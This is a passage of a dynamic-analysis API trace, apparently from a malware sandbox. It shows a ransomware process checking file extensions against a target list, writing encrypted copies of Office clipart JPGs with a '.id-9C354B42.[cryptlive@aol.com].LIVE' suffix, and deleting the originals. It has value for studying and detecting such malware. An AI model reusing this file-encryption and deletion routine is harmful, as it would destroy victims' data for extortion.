CloseHandle (hObject=0x3a0) returned 1 [0158.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 1 [0158.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.127] lstrlenW (lpString=".doc") returned 4 [0158.127] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.127] lstrlenW (lpString=".docx") returned 5 [0158.127] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0158.127] lstrlenW (lpString=".pdf") returned 4 [0158.127] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.128] lstrlenW (lpString=".xls") returned 4 [0158.128] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.128] lstrlenW (lpString=".xlsx") returned 5 [0158.128] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0158.128] lstrlenW (lpString=".ppt") returned 4 [0158.128] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.128] lstrlenW (lpString=".zip") returned 4 [0158.128] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.128] lstrlenW (lpString=".rar") returned 4 [0158.128] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.128] lstrlenW (lpString=".bz2") returned 4 [0158.128] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.128] lstrlenW (lpString=".7z") returned 3 [0158.128] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.128] lstrlenW (lpString=".dbf") returned 4 [0158.128] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.128] lstrlenW (lpString=".1cd") returned 4 [0158.128] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.128] lstrlenW (lpString=".jpg") returned 4 [0158.128] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.128] lstrlenW (lpString=".doc") returned 4 [0158.128] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.128] lstrlenW (lpString=".docx") returned 5 [0158.128] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0158.128] lstrlenW (lpString=".pdf") returned 4 [0158.128] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.128] lstrlenW (lpString=".xls") returned 4 [0158.128] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.128] lstrlenW (lpString=".xlsx") returned 5 [0158.129] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0158.129] lstrlenW (lpString=".ppt") returned 4 [0158.129] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.129] lstrlenW (lpString=".zip") returned 4 [0158.129] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.129] lstrlenW (lpString=".rar") returned 4 [0158.129] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.129] lstrlenW (lpString=".bz2") returned 4 [0158.129] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.129] lstrlenW (lpString=".7z") returned 3 [0158.129] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.129] lstrlenW (lpString=".dbf") returned 4 [0158.129] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.129] lstrlenW (lpString=".1cd") returned 4 [0158.129] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0158.129] lstrlenW (lpString=".jpg") returned 4 [0158.129] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.129] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.129] lstrlenW (lpString="J0148309.JPG") returned 12 [0158.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.130] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=43674) returned 1 [0158.130] CloseHandle (hObject=0x3a0) returned 1 [0158.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 0x20 [0158.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.130] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.130] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.131] GetLastError () returned 0x0 [0158.131] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xaa9a, lpOverlapped=0x0) returned 1 [0158.134] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xaaa0, lpOverlapped=0x0) returned 1 [0158.135] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.135] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.135] SetEndOfFile (hFile=0x380) returned 1 [0158.135] CloseHandle (hObject=0x380) returned 1 [0158.135] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.135] SetEndOfFile (hFile=0x3a0) returned 1 [0158.139] CloseHandle (hObject=0x3a0) returned 1 [0158.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0158.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.140] lstrlenW (lpString=".doc") returned 4 [0158.140] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.140] lstrlenW (lpString=".docx") returned 5 [0158.140] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0158.140] lstrlenW (lpString=".pdf") returned 4 [0158.140] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.140] lstrlenW (lpString=".xls") returned 4 [0158.140] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.140] lstrlenW (lpString=".xlsx") returned 5 [0158.140] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0158.140] lstrlenW (lpString=".ppt") returned 4 [0158.140] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.140] lstrlenW (lpString=".zip") returned 4 [0158.140] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.140] lstrlenW (lpString=".rar") returned 4 [0158.140] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.140] lstrlenW (lpString=".bz2") returned 4 [0158.140] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.141] lstrlenW (lpString=".7z") returned 3 [0158.141] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.141] lstrlenW (lpString=".dbf") returned 4 [0158.141] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.141] lstrlenW (lpString=".1cd") returned 4 [0158.141] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.141] lstrlenW (lpString=".jpg") returned 4 [0158.141] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.141] lstrlenW (lpString=".doc") returned 4 [0158.141] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.141] lstrlenW (lpString=".docx") returned 5 [0158.141] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0158.141] lstrlenW (lpString=".pdf") returned 4 [0158.141] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.141] lstrlenW (lpString=".xls") returned 4 [0158.141] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.141] lstrlenW (lpString=".xlsx") returned 5 [0158.141] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0158.141] lstrlenW (lpString=".ppt") returned 4 [0158.141] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.141] lstrlenW (lpString=".zip") returned 4 [0158.141] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.141] lstrlenW (lpString=".rar") returned 4 [0158.141] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.141] lstrlenW (lpString=".bz2") returned 4 [0158.141] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.141] lstrlenW (lpString=".7z") returned 3 [0158.141] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.141] lstrlenW (lpString=".dbf") returned 4 [0158.142] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.142] lstrlenW (lpString=".1cd") returned 4 [0158.142] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0158.142] lstrlenW (lpString=".jpg") returned 4 [0158.142] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.142] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.142] lstrlenW (lpString="J0148757.JPG") returned 12 [0158.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.142] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=67540) returned 1 [0158.142] CloseHandle (hObject=0x3a0) returned 1 [0158.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 0x20 [0158.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.143] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.143] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.144] GetLastError () returned 0x0 [0158.144] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x107d4, lpOverlapped=0x0) returned 1 [0158.146] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x107e0, lpOverlapped=0x0) returned 1 [0158.148] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.148] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.148] SetEndOfFile (hFile=0x380) returned 1 [0158.149] CloseHandle (hObject=0x380) returned 1 [0158.149] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.149] SetEndOfFile (hFile=0x3a0) returned 1 [0158.152] CloseHandle (hObject=0x3a0) returned 1 [0158.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0158.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.153] lstrlenW (lpString=".doc") returned 4 [0158.153] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.153] lstrlenW (lpString=".docx") returned 5 [0158.153] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0158.153] lstrlenW (lpString=".pdf") returned 4 [0158.153] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.153] lstrlenW (lpString=".xls") returned 4 [0158.153] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.153] lstrlenW (lpString=".xlsx") returned 5 [0158.153] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0158.153] lstrlenW (lpString=".ppt") returned 4 [0158.153] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.153] lstrlenW (lpString=".zip") returned 4 [0158.153] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.153] lstrlenW (lpString=".rar") returned 4 [0158.153] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.154] lstrlenW (lpString=".bz2") returned 4 [0158.154] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.154] lstrlenW (lpString=".7z") returned 3 [0158.154] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.154] lstrlenW (lpString=".dbf") returned 4 [0158.154] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.154] lstrlenW (lpString=".1cd") returned 4 [0158.154] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.154] lstrlenW (lpString=".jpg") returned 4 [0158.154] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.154] lstrlenW (lpString=".doc") returned 4 [0158.154] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.154] lstrlenW (lpString=".docx") returned 5 [0158.154] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0158.154] lstrlenW (lpString=".pdf") returned 4 [0158.154] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.154] lstrlenW (lpString=".xls") returned 4 [0158.154] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.154] lstrlenW (lpString=".xlsx") returned 5 [0158.154] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0158.154] lstrlenW (lpString=".ppt") returned 4 [0158.154] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.154] lstrlenW (lpString=".zip") returned 4 [0158.154] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.154] lstrlenW (lpString=".rar") returned 4 [0158.154] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.154] lstrlenW (lpString=".bz2") returned 4 [0158.154] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.154] lstrlenW (lpString=".7z") returned 3 [0158.155] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.155] lstrlenW (lpString=".dbf") returned 4 [0158.155] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.155] lstrlenW (lpString=".1cd") returned 4 [0158.155] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0158.155] lstrlenW (lpString=".jpg") returned 4 [0158.155] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.155] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.155] lstrlenW (lpString="J0148798.JPG") returned 12 [0158.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.156] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=38237) returned 1 [0158.156] CloseHandle (hObject=0x3a0) returned 1 [0158.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg")) returned 0x20 [0158.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.156] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.156] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.157] GetLastError () returned 0x0 [0158.157] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x955d, lpOverlapped=0x0) returned 1 [0158.159] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x9560, lpOverlapped=0x0) returned 1 [0158.160] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.160] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.161] SetEndOfFile (hFile=0x380) returned 1 [0158.161] CloseHandle (hObject=0x380) returned 1 [0158.161] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.161] SetEndOfFile (hFile=0x3a0) returned 1 [0158.164] CloseHandle (hObject=0x3a0) returned 1 [0158.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.165] lstrlenW (lpString=".doc") returned 4 [0158.165] lstrcmpiW (lpString1=".doc", lpString2=".JPG") 